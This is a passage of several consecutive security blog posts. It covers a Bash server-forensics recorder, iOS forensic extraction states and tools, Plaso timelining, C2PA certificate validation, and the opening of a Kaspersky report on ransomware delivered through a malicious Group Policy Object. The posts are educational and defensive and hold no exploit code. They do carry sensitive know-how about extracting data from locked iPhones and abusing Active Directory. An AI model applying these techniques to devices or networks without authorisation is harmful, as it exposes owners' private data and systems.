What I learned: presence is not evidence. Now a process being there scores almost nothing. It only becomes real evidence if that same process also shows up as the measured top consumer of CPU or disk. If nothing is actually consuming anything, the report says so out loud.

Mistake 2: it named a process using 9% of the CPU

Another incident had the CPU at 93% on a 4-core box. The tool proudly named the biggest process… which was using 9%.

The real answer was fourteen short-lived PHP workers at about 26% each. Ranking by single process can never express “PHP as a whole took the box”.

What I learned: group by program, not by process ID. Now reports combine workers into one row, with the count, the peak, and the average. And if total CPU is high while no single process is over 15%, the report prints a warning that the cause is spread out.

Mistake 3: it was always measuring the recovery, not the event

This one was the most annoying, and the most important.

Load average over one minute is a lagging number. It peaks after the real work is done. In one incident the load went from 0.63 to 22.46 between two samples, 69 seconds apart. The trigger fired, panic mode started, and the first measurement landed exactly as the workers were exiting.

In other words, the design was structurally guaranteed to miss any burst shorter than the sampling interval. Making the trigger slightly faster would not have fixed it. The ordering itself was wrong.

What I learned: if the evidence expires, you cannot wait for a trigger to go and fetch it. So I added a ring buffer that samples continuously in the background and keeps a rolling window of recent history. When an incident fires, the tool already has the minutes before the trigger. That’s the --runup command: what was building up before everything went bad.

Mistake 4: the sampler was 29 seconds late

For a while my reports kept saying “wait channels: unavailable”. I assumed the capture was broken.

It wasn’t. It was late. Panic mode collected things in a nice readable order — general system state first, then the detailed stuck-process forensics. But those early commands took time: one of them (ss -antp) took 17 seconds by itself. By the time the important capture ran, 29 seconds after the trigger, every stuck process had cleared.

Eight attempts across four incidents. Zero stuck tasks captured. The tool worked perfectly and recorded nothing, which is the worst kind of bug, because it looks like a missing feature instead of a measuring error.

What I learned: collect in order of how fast the evidence disappears, not in the order that reads nicely. Sub-second kernel reads first, slow sampling commands last. And anything truly perishable moved into the always-running ring buffer.

Mistake 5: one incident stayed open for three and a half hours

A crash in the panic script meant nothing closed one incident. It stayed open for 3 hours 27 minutes, until a later unrelated event got pulled into it.

So the report described a disk stall at 18:32, but its only snapshot was taken at 21:59 during an unrelated nightly update. The verdict? “Package manager (38%)” — with “corroborating evidence” that the three-hour gap had invented all by itself.

What I learned: evidence has an age, and age matters. Now incidents get closed as soon as a healthy sample arrives, every capture records how far it was from the trigger, and a stale capture can no longer be used to name a cause.

The payoff: the day it finally proved the real cause

After all that, the tool caught what I had been chasing for months. Not guessed — proved, from the kernel’s own records.

The stuck processes were all sitting in the same place:

jbd2_log_wait_commit   [jbd2]
ext4_sync_file         [ext4]
do_fsync
__x64_sys_fsync

In plain English: every process trying to safely save a file to disk was queued behind the filesystem journal, and the journal could not commit because the virtual disk was not completing its writes. One stuck write freezes everything that touches the filesystem. That is exactly how you get load 20 at 3% CPU.

Then the disk numbers backed it up. During two incidents the recorder caught:

• the disk at 100% utilisation while moving roughly zero data
• service time up to 1001 ms per request
• one read that took 7849 ms
• 15 requests stuck in flight, never completing
• compared to a normal all-day average of about 11% utilisation

A disk reporting “completely busy” while transferring nothing is not a disk being overworked by my websites. It’s a disk that isn’t being served by the host underneath it. This is a Namecheap VPS, and that is the conclusion the evidence points to: the guest was asking politely and the host wasn’t answering.

And the best part: the processes doing all that saving were not my websites at all. It was server housekeeping — cPanel tailwatchd, quota checks, security file-integrity scans, the mail queue runner, cron — all calling fsync at the same time on a disk that could not absorb it. My biggest actual disk user was moving a pathetic 96 to 232 KB per second.

I sent Namecheap the timestamps and the figures — two exact incidents, nine consecutive one-second disk samples each, with the service times and the stuck request count. That was only possible because something had been recording while I was asleep. Without it, the whole conversation would have been me saying “my server feels slow sometimes” and them saying “we see no problem”.

I’ll be honest about scope, because that honesty is the whole point of the tool: the dramatic zero-throughput numbers appeared in 2 of 9 incidents. In the other 7 the stall was still proven, just by a different kernel measurement (PSI), because the disk sampler happened to miss the worst second. The reports say which is which rather than pretending every incident is the same.

What Server Forensics Recorder can do today

So that’s how Server Forensics Recorder ended up the way it is. It’s on GitHub, free and MIT licensed, because this problem is clearly not unique to my server. Everything is plain Bash — there’s no daemon, no web interface and no database, and every report is text you can read over SSH.

It records continuously, cheaply. One lightweight sample per minute, plus a background ring buffer. Normal overhead is tiny because almost everything comes from /proc.

It captures deep evidence only during an incident — process trees, disk statistics, open files, kernel messages, pressure stall information, MySQL state — ordered so the most perishable evidence is grabbed first.

It writes its own root-cause analysis. When an incident ends, you get a report that separates observed facts (measurements, no opinion) from inference (reasoning) from proven (direct kernel evidence). It ranks the possible causes with a confidence score, and here’s the bit I’m most pleased with: the confidence is capped when the decisive evidence is missing, and the report tells you it was capped and why. It never claims 100%. If nothing clears the noise floor, it says Inconclusive instead of inventing a cause.

It names the URL and the visitor, not just the layer. “PHP was busy” is useless. At incident close, the recorder reads the domain access logs for the incident window and reports the actual pages hit per domain, the top client IPs, and counts for commonly abused WordPress endpoints like xmlrpc.php, wp-login.php and admin-ajax.php. It’s Cloudflare-aware, so it points you at the real visitor IP instead of blaming the CDN, and it labels the server’s own loopback requests so wp-cron never looks like an attacker.

That feature found a genuine attack. A single IP — 96.126.176.53 — was responsible for 22,542 of 25,802 requests, about 87% of everything in the window, flooding two WordPress admin endpoints behind a fake Chrome user agent. It came in through Cloudflare, which is exactly why a server-level firewall ban would have been useless: the connection my server sees is a Cloudflare edge, not the attacker. I blocked it at Cloudflare instead, and it stopped in minutes.

It’s just as useful in reverse. Another night I was sure I was under attack — and the report showed 11 requests in the whole window, from different IPs, on normal mobile browsers. Not an attack. Just my slow disk again. That saved me from blocking innocent visitors and adding firewall rules for nothing.

It records CPU steal. That’s time my server was ready to run but the host gave the physical core to somebody else. It’s the one number in a hosting dispute that cannot be blamed on my own workload.

The commands I use most:

Command	What it tells me
server-forensics --incidents	Every recorded incident, newest first, with the trigger reason
server-forensics --last-analysis	The automatic root-cause verdict for the latest incident
server-forensics --offenders	Which program actually caused the spike, grouped properly
server-forensics --io	Full disk evidence — latency, utilisation, per-process I/O
server-forensics --requests	Which URLs and client IPs drove the load
server-forensics --runup	What was building up before the trigger fired
server-forensics --health	Is the recorder itself running properly

Who this is for

I wrote this for my own cPanel server, but it will help you if:

• Your site freezes for a minute or two and then recovers, and you can never catch it live. This is the exact case it was built for.
• You see high load with low CPU and nothing you read online explains it.
• You’re on a VPS and suspect the host. Suspecting is cheap. Having timestamps, latency figures and kernel stack traces to send to support is what actually moves a ticket forward.
• You run WordPress sites and need to know if it’s an attack or not. The request report answers that in seconds, so you don’t block real customers out of panic.
• You manage servers for clients. Instead of “it was probably a traffic spike”, you can show what was stuck and what it was waiting for.
• You’re learning Linux performance. Honestly, reading these reports taught me more about load average, iowait, the ext4 journal and fsync than any article did — because it was my own server, with real numbers.

It is not a replacement for monitoring. Keep Netdata or Prometheus for live graphs and alerts. This sits next to them and answers the question they can’t.

Install it

It’s built for AlmaLinux 8 with cPanel, CloudLinux, Apache with mod_lsapi, MariaDB and Exim, but the collector is generic enough for most Linux web servers.

git clone https://github.com/Dr-Hack/Server-Forensics-Recorder.git
cd Server-Forensics-Recorder
sudo bash install.sh

Then check it:

sudo server-forensics --doctor
server-forensics --health

It installs a systemd timer that runs once a minute. Reports land in /var/log/server-forensics/. Set your thresholds using your own server’s normal numbers — start conservative and tighten later.

MIT licensed. Issues and pull requests are welcome.

FAQ

Why is my server load high when CPU usage is low?

Because load average counts processes that are waiting, not just processes that are running. If load is high while the CPU is idle, your processes are blocked on something — usually disk I/O, sometimes memory pressure or a lock. High iowait alongside high load points at storage.

Does this replace Netdata, Prometheus or Grafana?

No. Those tell you when something happened. This tells you why. Run both.

Will it slow down my server?

Normal operation is one cheap sample a minute, mostly /proc reads, plus a light background sampler. Expensive commands only run during an incident, each with a timeout and an output limit, so the recorder can’t fill the disk it’s already waiting on.

Does it work without cPanel?

The per-minute collector and the analysis work on most Linux web servers. The deeper snapshots are tuned for cPanel-style stacks, and the request attribution expects cPanel-style domain log paths, though you can point it elsewhere.

Can I use its output to raise a ticket with my host?

That’s exactly why the disk latency and CPU steal numbers are recorded. Quote the timestamps and the measurements. It’s much harder to wave away than “my site feels slow”.

Is it safe to run during an outage?

That was the first design rule. Timeouts everywhere, bounded output, and package managers are detected but never run, because calling one during a disk stall could block indefinitely.

---

Have you hit the high-load-low-CPU problem? Tell me what it turned out to be on your server — I’m collecting these cases, and the wait-channel maps in the tool get better every time I see a new one.

The post I Built a Black Box for My Linux Server — Because My Load Hit 20 While the CPU Sat at 3% first appeared on Internet Security Blog - Hackology.

Welcome back, aspiring investigators!

Today we’re going to cover the basics of iOS forensics and find out what makes these devices vulnerable. We will see what a phone actually holds in different states. Modern iPhones encrypt almost everything file by file, and the keys live inside a separate chip called the Secure Enclave, not the disk itself. So the question is  which keys are unlocked right now and how long you’ve got before that changes.

What’s On the Phone

Apple does not encrypt “the disk” as one volume key. Each file is assigned a class when it is created. The class decides when that file can be decrypted.

Class A files only decrypt while the phone is unlocked and lock again fast once the screen goes dark. Mail bodies live here. 

Class B can be written while locked but only read if it was already open. 

Class C is the one you care about most. It unlocks the first time the passcode is entered after a reboot and stays unlocked even after the screen locks again. App data, chats and photo libraries sit here. 

Class D never needs a passcode at all, wrapped with a device only key.

BFU and AFU

Before First Unlock (BFU) means the phone rebooted and nobody’s entered the passcode since. The Secure Enclave hasn’t released the keys yet, Face ID and Touch ID are dead and almost nothing decrypts. What you get from a BFU phone is triage at best. Device info, iOS version, maybe a thin slice of metadata.

After First Unlock (AFU) means the passcode has been entered at least once since the last reboot. Class C data is live and stays live even after the screen locks again. This is the state you want. Analysts usually say AFU gets you around 95% of what a full dump would give you, next to almost nothing under BFU.

The 72 Hour Clock

Since iOS 18.1, a phone that sits idle too long reboots itself. No setting turns this off. The window is around 72 hours. A Faraday bag isn’t a place to park evidence for a week anymore. Labs have already had properly isolated AFU phones reboot themselves back into BFU just from sitting in storage. 

How You Actually Pull Data

The simplest is a standard logical backup through iTunes or Finder. An unencrypted backup is a partial picture at best, since Keychain and Health data only come along encrypted. One step up is advanced logic, which adds access to the camera roll, books and other shared media a plain backup skips. 

Full file system extraction is usually done through a signed agent while the phone’s still AFU. This gets you app sandboxes, full SQLite databases with their WAL and SHM files and the behavioral stores a backup never touches. Agent support for new chips lags behind hardware releases and current A19 and M5 chips with Memory Integrity Enforcement are already a wall some agent chains can’t get past.

Older phones, iPhone X and earlier, can sometimes be opened with bootrom exploits like checkm8, which run below the OS entirely and can work even in BFU. That doesn’t apply to anything shipping today.

iCloud is its own separate source. It can hold things the phone doesn’t and end-to-end encrypted categories still need real credentials or lawful process.

Pairing, USB Locks & Lockdown Mode

A pairing record gets created the moment someone taps Trust This Computer. That record lives on the host machine, and it can let a lab computer talk to a locked AFU phone without another unlock. So every computer the owner used matters just as much as the phone itself.

USB Restricted Mode is separate and much simpler, it’s just a timeout. After roughly an hour locked, the port stops carrying data even though it keeps charging. An old pairing record won’t work once that timer’s up, so every locked phone has a short window.

Lockdown Mode is a different thing entirely. It’s a user enabled hardening feature aimed at spyware, and while it’s active, wired accessories need an unlocked phone. That’s the mechanism that reportedly stopped FBI investigators from extracting a seized reporter’s iPhone in early 2026, even though the phone was powered on and charging right in front of them. Turning Lockdown Mode on or off also reboots the phone, so flipping it yourself kills AFU instantly.

Jailbroken Phones

Some devices may be jailbroken. These are softer targets, but they can’t be trustworthy. Jailbreaking modifies the filesystem and tweaks change or hook app behavior. That can overwrite artifacts, add artifacts that aren’t from normal use and give opposing counsel a way to challenge integrity.

Cellebrite

Cellebrite’s old UFED, Premium and Physical Analyzer lineup is mostly folded into one suite now called Inseyets, though Premium and PA7 are both still running too. Their own docs use AFU and BFU just like everyone else, because the same rules apply. AFU with a supported device opens up fully. BFU on current phones mostly doesn’t, no matter which Cellebrite tool you’re running. Support trails Apple by weeks or months after every iOS release, and brute force support stays limited to specific older models on specific iOS ranges, not a blanket “any locked iPhone” claim.

For old hardware, iPhone 5s through X, they lean on the same checkm8 style bootrom exploit covered earlier.

Worth remembering too, in 2021 Signal’s founder found real bugs in the tool itself

What You Actually Dig Through

Chat apps like iMessage, WhatsApp, Signal and Telegram each keep their own SQLite database, and deleted rows often still sit in the freelist or the WAL file until the database gets cleaned up. Always grab the WAL and SHM files alongside the main database, not just the .db file by itself.

The real skill jump in this field is using behavioral stores. KnowledgeC and its newer replacement, Biome, track which app was in focus, unlock events, notifications, even web activity. That’s how you reconstruct what was actually on screen at a given moment. PowerLog backs that up by confirming the phone was genuinely powered on and connected at a given time.

Photos.sqlite covers hidden and recently deleted images along with iCloud sync state. As you can see, deletion on iOS basically means the key gets destroyed and the database gets cleaned up later, there’s no recycle bin sitting in unallocated space waiting for you to carve out. If someone claims they recovered deleted iMessages from raw flash on a modern iPhone, that claim needs real scrutiny.

Summary

Keep your iPhone protected by updating the firmware and upgrading the device itself regularly. Old devices are prone to certain attacks, and as years go by more vulnerabilities get discovered. Analysts are already using these vulnerabilities to bypass protection and extract data from older iPhones. Keeping backups off iCloud adds an extra layer of protection. Don’t connect your iOS device to your computer and don’t accept anything that pops up on the screen afterward. iOS 18 adds some protection by bringing the phone from AFU back to BFU after 72 hours. These recommendations can help if your life is threatened by people who don’t respect the law. If you’re a forensic investigator, use this knowledge to bring justice to the case. Stay safe out there!

The post Digital Forensics: iOS Forensics – Basics  first appeared on Hackers Arise.

Welcome back, aspiring investigators!

When you do forensic investigations, you often find that systems are not really monitored. The great problem here is that it’s beyond the scope of a sysadmin. They already have a lot of work to do, so it’s hard to blame them. Companies don’t spend much money on cybersecurity despite the rise of ransomware campaigns in recent years. AI is going to make these attacks a lot more feasible, and we are already seeing it. They simply don’t realize the threat exists out there, until they have to face it.

Here is one of the posts that I came across recently that proves the point. These cheap Chinese models cost literally cents per 1 million tokens. So it’s fairly possible that someone can hack a company for $20 and for another $10 do internal recon, thoroughly analyze all file shares, infect hosts with malware, and you can guess what comes next. The demands for a decryption key vary, of course. They usually range somewhere between $20,000 and $100,000. The bigger the company is, the bigger the demand will be. The bigger the company is, the more infrastructure it has sticking out to the internet that hackers can work with. The size of the company doesn’t necessarily mean it’s secure. Their security can also be trivial.

But we do have to work with such companies, and I’m sure some of you have come across this issue. In such a case, we have to work with whatever the system has left behind. To make things easier, we want to cover Plaso.

Plaso

Plaso is a Python-based engine used by several tools for automatic creation of timelines. Plaso’s default behavior is to create super timelines, but it also supports creating more targeted timelines if you are focused on a certain time frame.

These timelines help investigators correlate the large amount of information found in logs and other files on an average computer.

The whole point of this tool is that you can get a report on everything that happened on your system from different kinds of files. It allows you to do a very thorough analysis and gives you a better view of every event that took place. That’s super helpful if your client doesn’t have SIEM systems or at least some advanced logging like Sysmon, for example.

It does support different systems as well, so it’s pretty universal, from phones to computers. The example data that ships with it can help you get used to the tool.

Setting Up

As always, let’s follow the easiest way to install it on your system.

kali > python3 -m venv plaso
kali > source plaso/bin/activate
kali > pip install --upgrade pip
kali > pip install plaso

That will be it. In case you are wondering if it fits your purpose, you can list all the parsers available.

kali > plaso-log2timeline --parsers list

Besides, we have a huge library of logs to test the tool with.

kali > git clone https://github.com/log2timeline/plaso.git
kali > cd plaso/test_data/
kali > ls

So let’s not waste more time and get into it.

Working with Plaso

We are going to look at a couple of examples analyzing different log files, and at the end we are going to create the full timeline of our system. We used the EnCase E01 file format to make it more compact.

NTUSER.DAT

The first example covers one of the most meaningful files in both offensive and defensive cybersecurity. The NTUSER.DAT file is useful for both of us simply because it stores all user actions, from USBs to opened folders and much more. Earlier, we covered the use of it for investigations, but that was more about cherry picking. We pointed at the exact locations to look at to find insider threats or to analyze other users’ actions during the pentest. That’s super helpful if you are dealing with a sysadmin’s computer and only have terminal access.

Let’s build a complete timeline of it.

kali > plaso-log2timeline --storage-file ntuser_timeline.plaso ~/plaso/test_data/NTUSER.DAT

This command points log2timeline straight at the NTUSER.DAT hive and tells it to write everything it finds into ntuser_timeline.plaso. That storage file is not something you can just open and read, it’s the raw extracted events that you will need to sort and export into something readable in the next step.

After that, we can view the number of events in this hive.

kali > plaso-pinfo ntuser_timeline.plaso

Finally, let’s take a look at them all.

kali > plaso-psort -o dynamic -w ntuser_timeline.csv ntuser_timeline.plaso

kali > open ntuser_timeline.csv

You’ll get a taste of it once we analyze the entire system like that. That way, nothing can escape your view.

Windows Event Log

Another good example is the Event Log. Let’s analyze the System.evtx file and see what’s inside.

kali > plaso-log2timeline --storage-file evtx_timeline.plaso test_data/System.evtx

kali > plaso-psort -o dynamic -w evtx_timeline.csv evtx_timeline.plaso

kali > open evtx_timeline.csv

When you are dealing with a large number of logs, it’s better to slice them.

kali > plaso-psort -o dynamic -w evtx_narrow.csv evtx_timeline.plaso "date > '2026-02-01 00:00:00' AND date < '2026-03-01 00:00:00'"

Syslog

Linux log files are also supported and present in the test data for you to work with.

kali > plaso-log2timeline --storage-file syslog_timeline.plaso test_data/syslog

kali > plaso-psort -o dynamic -w syslog_timeline.csv syslog_timeline.plaso

kali > open syslog_timeline.csv

Here is what the syslog file looks like after being parsed. As you can see, all the login attempts and cron job entries are there.

Full System

Finally, after pointing the tool to the EnCase files, it will produce a thorough analysis of all the log files available on your system. Below is a complete timeline of the webserver.

kali > plaso-log2timeline --storage-file super_timeline.plaso /mnt/Images/Webserver.E01

kali > plaso-psort -o dynamic -w super_timeline.csv super_timeline.plaso

kali > open super_timeline.csv

Summary

The more tools you are familiar with, the easier the investigation will be. At work, we tend to automate things to save time, but it can also create more confusion when we don’t see the full picture and end up wasting more time puzzling over things that don’t fit together. The tool is worth giving a try, and it does support all kinds of file formats as input, so you can use Plaso yourself or with your AI model.

If you like what we’re doing here and want to get started in forensics or advance your skills, we recommend our training for both beginners and more experienced students.

The post Digital Forensics: Deep Analysis with Plaso first appeared on Hackers Arise.

Across all my posts about C2PA's flaws, there's one aspect that has been bothering me for years: you can upload the exact same picture to different C2PA validators and get conflicting results. It wasn't until I began flow-charting the validation process that I realized the scale of the problem.

In this blog entry, I'm going to compare the workflows used by TLS (required by HTTPS), Secure Evidence Attribution Label (SEAL), and C2PA. I'm specifically comparing TLS and SEAL to C2PA because (1) C2PA's proponents often compare C2PA's use of X.509 to TLS, and (2) C2PA's Chief Architect prompted me to come up with an alternative to C2PA, so I created SEAL.

TLS

Transport Layer Security (TLS) provides the framework for encrypting data over the internet. It uses a common container format called X.509, which holds the public keys and related meta information (issuer, subject, validity date range, etc.). Every web browser should handle the TLS information the same way, using the same logical flow.



TLS uses a very straightforward flowchart:

1. Is TLS present? If it isn't, then your connection is using plain old HTTP: unencrypted and untrusted. If it is present, then you're using HTTPS and can check the X.509 certificate information.


2. Is the TLS certificate expired? An expired certificate should not be used. At minimum, it will generate a browser warning because the certificate is untrusted.


3. Is the TLS certificate tied to the domain? Buried in the X.509 is a field that says "this certificate is associated with this domain name." For example, the certificate from my blog says that my certificate is associated with "hackerfactor.com" and "*.hackerfactor.com". If your browser sees my certificate associated with a different domain name, it will stop your access and inform you that the connection is insecure.
   
   


4. Is the certificate linked to the trusted list? Your computer (and browsers) have a list of known trusted certificates, and the X.509 certificate defines a trust chain. This chain should link back to the trusted list. If it doesn't, then the certificate is untrusted, even if it came from the correct domain name.


5. Is the certificate currently revoked? This doesn't just check the last certificate; it's designed to check every certificate in the chain. If any of them are revoked, then the certificate is explicitly invalid due to revocation. If it's not explicitly revoked, then it's valid, verified, authenticated to the domain, and chains to the trusted list. However, this has a soft-fail condition: if the revocation status cannot be determined, then it is treated as being "not revoked".
   
   This "Is it revoked?" check is actually a little more complicated. For example, the revocation may include a date. If the current time (for HTTPS) is before the revocation date, then the certificate is still valid. This may not make too much sense for real-time web requests because the current time should always be after the revocation date. However, this is required for checking digital signatures at a later time. If it was signed before the revocation date, then it's valid. If it's signed after, then it's revoked and invalid.

The precise order of these steps can vary. For example, you can check the domain name (Step 3) or trusted list (Step 4) before the expiration (Step 2) and it won't change the result. Regardless of the order, these rules are standardized.

There can be differences between implementations. Browsers mainly differ in trust stores (Step 4) and revocation policies (Step 5). Those differences are small, publicly documented, and seldom change:

• Browser differences: Mozilla, Apple, Microsoft, and Google each maintain their own trusted lists (aka root store or trust store), but they coordinate through the Common CA Database (CCADB). This way, trust stores overlap significantly. Operating systems often add a few roots of their own (such as Microsoft or Apple adding trusted roots for their own update services). Similarly, private enterprise and government networks may include custom internal CAs in the local trust stores. (The U.S. Department of Defense and federal networks are classic examples.)


• Revocation differences: Browsers can use different revocation methods, and these can change over time. For example, Chrome used to perform live revocation checking, but now uses downloaded lists (CRLSets). Firefox introduced its own downloaded-list mechanism, CRLite, in Firefox 137 (April 2025), and disabled OCSP for domain-validated certificates in Firefox 142 (August 2025).

Beyond these documented variations, validation remains consistent.

SEAL

While SEAL doesn't use X.509 certificates, it does use a similar flow chart. However, the flow is a little complicated because of the optional embedded public keys.

• Is SEAL present? If there is no SEAL record, then there is nothing to check.


• Is the public key in the SEAL record? This is an encoding option because post-quantum crypto keys can be too large for storing in DNS. Today's typical usage stores the public key in DNS. (If there is a public key then jump to 3b, otherwise continue to 3a.)

The typical use case today relies on DNS for storing the public key:

• Is the public key in DNS? Most of the time, you don't have the public key in the SEAL record, so you retrieve it from DNS. If DNS is unreachable or the record doesn't include the public key, then the data cannot be verified.


• Does it validate? You now have the public key from DNS. Does it validate the signature? If it doesn't, then the signature is invalid.

Following the alternative branch, when the public key is embedded in the SEAL record:

• Does it validate? Since you have the key, check if the signature validates. If it doesn't, then it's invalid. But if it does validate, then you haven't authenticated the signature yet.


• Is the public key's digest in the DNS? This check allows you to attribute the key to the signer. Without this, you have verification (the crypto worked) without authentication (you don't know who signed it).

Whether you check DNS and then validate (3a/4a) or validate and then check DNS (3b/4b), passing both tests still means checking for revocation:

• Is the key revoked? SEAL doesn't use a trust chain; there is only one revocation to check and it comes from the DNS record. As with TLS/X.509, there are actually a bunch of 'if'-conditions around date revocation and default revocation records, but the basic gist is "Is it revoked?" If it is revoked, then the signature is invalid due to revocation.
  
  And if it isn't revoked? Then it's valid, with a verified signature and authenticated to the domain that holds the public key.

Every SEAL validator should handle this workflow the same way, so they should all get the same results under the same conditions. You might have noticed that I included the caveat "under the same conditions". If one validator can access DNS and another validator cannot (e.g., it's offline), then you may get different results. But even with this difference, the user can immediately tell why there is a difference. (Seeing that they cannot reach DNS because they are offline probably won't be a surprise to the user. And as mentioned in the previous blog entry, SEAL trusts DNS.)

C2PA

Compared to the other validation flows, C2PA is a long and complicated mess. It has 10 steps, 6 with optional implementations, and a major flow decision based on an optional signed timestamp (see Step 5).

1. Are Content Credentials present? Simple and straightforward; you cannot validate it if it doesn't exist.


2. Is the certificate linked to the trusted list? The C2PA spec does not recommend any specific baseline root store. Instead, every instance (generator, signer, and validator) decides what root stores they want to include. There are currently many independent root stores, and most have no overlap:
   
   
   • C2PA's Official Trust List: https://github.com/c2pa-org/conformance-public/tree/main/trust-list. (We'll ignore that GitHub probably isn't the safest place to store their official trust list. Too much risk of a GitHub compromise permitting unauthorized edits to the list.) This list is only for conforming products. (I probably need to write a completely separate blog detailing the problems with their conformance program.)
   
   
   • C2PA Interim Trust List (ITL): https://github.com/contentauth/verify-site/tree/main/static/trust was officially frozen in January 2026, but has been updated a few times since then. (With the ITL, frozen doesn't really mean "no more changes". If you use the 'frozen' trust list from January 2026, then you can get different results compared to the 'frozen' list from March 2026.) The ITL is kept around for verifying signatures that were made before the official trust list was deployed.
   
   
   • International Press Telecommunications Council (IPTC): https://trust.iptc.org/end-entity-list.pem. The IPTC maintains its own list that has no overlap with other lists.
   
   
   • Sony: https://imagevalidation.authenticity.sony.net/trust/sony.pem is intended for Sony applications to validate Sony-signed documents. As far as I can tell, only Sony uses Sony's list.
   
   I'm sure these are not the only C2PA trust lists; these are just the ones I currently know about.
   
   The X.509 certificate contains details about the signer responsible for the cert. However, it does not specify which trust list should be used or where to get the trust list.
   
   Asking "Is the signing certificate linked to the trusted list?" sounds like a simple yes/no question. However, it isn't. This is because every organization can use a different list! A user trying to validate the media should know which trust lists are being used and when they were last updated. If the validator includes multiple trust lists, then you also need to know the validator's rules for combining them. Unfortunately, validators don't generally provide this information.
   
   While TLS does have a similar problem with trust list variations, the significant overlap between different platforms minimizes any differences. In contrast, different C2PA trust lists often have no overlap (e.g., the lists from IPTC, Sony, and C2PA are completely different), leading to very different results.
   
   According to the W3C minutes, C2PA's Chief Architect Leonard Rosenthol was asked why they were using a separate trust list. His reply: "We've been trying to use the same model, just has different trust anchors." No, this really is not the same model. TLS and the significant overlap between trust store entries on different platforms are about interoperability; C2PA's vastly different trust stores with no required commonality are about enabling isolated walled gardens.


3. Is the signing certificate revoked? X.509 supports two different revocation methods:
   
   
   • CRL: A Certificate Revocation List is a static list that you can download. It includes the cert serial number for every revoked certificate. In theory, the CRL can grow to be very large. In practice, they are typically tiny.
   
   
   • OCSP: The Online Certificate Status Protocol is newer than CRL, but the CA/Browser Forum has made OCSP optional and requires CRLs. Some CAs and browsers have moved away from OCSP entirely: Let's Encrypt and Google Trust Services have stopped issuing OCSP responses for most certificates, Firefox is disabling OCSP checks in favor of CRLite, and Chrome doesn't rely on live OCSP checks by default. In effect, OCSP is becoming obsolete.
   
   For CCADB-based lists, most of the certs have no defined revocation method. (On my Ubuntu system, 122 of the 146 certs had no defined revocation method.) This isn't a big problem for TLS since network connections are ephemeral. If you no longer trust a root, then the trust list managers will remove it from the list and your browser will stop trusting it after the next update.
   
   On the other hand, C2PA uses static signing certificates, not ephemeral network connections. This introduces a lot of problems. For example:
   
   
   • Revocation checking is optional and usually not implemented.
   
   
   • CRLs are explicitly not supported. C2PA only supports OCSP. (This is an ironic choice: C2PA is relatively new, yet it requires a deprecated technology. It's also ironic given that C2PA claims to care about privacy, while industry groups are rejecting OCSP due to privacy concerns.)
   
   
   • C2PA explicitly permits "OCSP Stapling", where the OCSP record is attached to the C2PA's manifest. But this is optional, typically not present, and has other problems (that really deserve a separate blog entry). OCSP Stapling is not a reliable solution.
   
   With C2PA, revocation checking is optional and different validators can return different results based on how they query for revocation. But it gets a little worse: C2PA supports an optional signed timestamp. This means that a revoked signing certificate could appear un-revoked based on the timestamp. (See Steps 5-9.)


4. Is the signing cert currently expired? If the cert is not revoked (including unchecked or unavailable), then it is valid and trusted. Otherwise, you need to check for a signed timestamp (Step 5).


5. Is there a signed timestamp? This is the point where C2PA's logic flow significantly deviates from TLS. If the signing certificate is expired or revoked, then a signed timestamp can still make it appear valid.


6. Is the timestamp cert in the trusted list? To reach this step, we have an expired or revoked signing cert, but a signed timestamp is present. Do we trust the signed timestamp? This is similar to the "inconsistent lists" problem seen in Step 2, except that the C2PA and ITL use separate trusted lists for timestamp certificates. This allows validators to potentially mix-and-match. For example, they might permit a signing certificate from the IPTC trust list but the timestamp certificate from the "C2PA TSA Trust List" (which is different from the "C2PA Trust List").


7. Is the timestamp certificate revoked before the timestamp date? As with Step 3, revocation checking is optional. Moreover, some validators seem to only check the last certificate in the chain for revocation, while others check the entire chain.


8. Is the signed timestamp within the timestamp certificate's validity period? Every cert has a "Not Before" and "Not After" range. This is a sanity check step to make sure the trusted timestamp authority (TSA) used a date during the TSA cert's validity period. (A malicious TSA can still backdate or postdate the signature, but it must be within the "Not Before" and "Not After" range.)


9. Is the signed timestamp within the signing cert's validity period and before any revocation? While Step 8 checked the signed time against the timestamp cert, this step checks the signed time against the signing cert. If the signed timestamp predates the signing cert's revocation date, then the cert is still valid. This permits the continued use of an expired or revoked signing cert (effectively un-expiring or un-revoking it). Unfortunately, I've seen some validators just check if the timestamp is valid, and not check if the revocation date predates the timestamp.


10. Was the signing cert revoked? This is the final failure condition and triggers when the signing cert is invalid. Was it invalid due to the optional revocation checking (invalid and revoked) or expiration (invalid and expired)?

As with the other workflows, the specific order of these steps can vary. For example, an implementation might check the certificate expiration (Step 4) before checking the trust list (Step 2), but that just makes the line diagram a little more complicated. Changing the step ordering shouldn't change the decision process or final outcome.

C2PA's validation flow includes six steps where validators can make their own choices (Steps 2, 3, 6, 7, 9, and 10). Since every validator can do this differently, every validator can generate different and conflicting responses to the exact same media.

• If a C2PA validator says you can trust the signature, there could always be another validator that says you cannot.


• If a validator says you cannot trust it, then you can probably shop around to find a validator that says it is trustworthy.

This is the main difference between TLS, SEAL, and C2PA. With TLS and SEAL, the validation process is consistent and reliable. With C2PA, it is inconsistent by design.

In this blog entry, I covered how the logic flows differ. So far, that's all theory. In the next blog entry, I'll use real-world examples to demonstrate how different C2PA validators generate different results for the exact same media.

Executive summary

In April 2026, we at Kaspersky’s Global Emergency Response Team (GERT) responded to a security incident at a manufacturing organization in the Middle East. The threat actor obtained domain admin-equivalent control of the organization’s Active Directory environment and authored a malicious Group Policy Object (GPO) named PAYLOAD, linking it at the domain root. Through that single object, the actor delivered ransom notes, hijacked the desktop wallpaper and lock screen, enforced a logon banner, and disabled the local administrator account across every domain-joined Windows workstation — all without dropping a ransomware binary or encrypting any data. The only ransomware we found in this incident was PAYLOAD sample targeting ESXi on Linux servers. Besides that, data exfiltration was observed originating from the file servers and several additional systems, and was later published on the dark web.

This case is an example of two converging trends that define the 2026 ransomware landscape:

1. Living-off-the-land abuse of trusted AD infrastructure. Group Policy is a signed, allowlisted, SYSTEM-privileged distribution channel that the majority of endpoint detection and response tools is designed not to inspect. By delivering impact through GPO rather than through malware, the actor sidestepped the entire file- and process-based detection stack.
2. Encryptionless extortion. Industry telemetry shows extortion-only incidents grow significantly year-on-year. PAYLOAD fits this model; the leverage is operational disruption and the threat of escalation rather than cryptographic denial of data.

We confirmed that no files were encrypted on Windows machines, no malicious binaries were resident on disk, no endpoint persistence was established, and no malicious processes were running at the time of analysis. The entire attack lived inside Active Directory itself. The defensive implication is stark: an organization whose detection strategy depends on catching a ransomware executable would have seen nothing until the first endpoint rebooted and the ransom wallpaper appeared.

In this article, we will describe the GPO attack chain and provide operational advice on how to detect such threats, including detailed remediation recommendations.

Group Policy as an attack surface

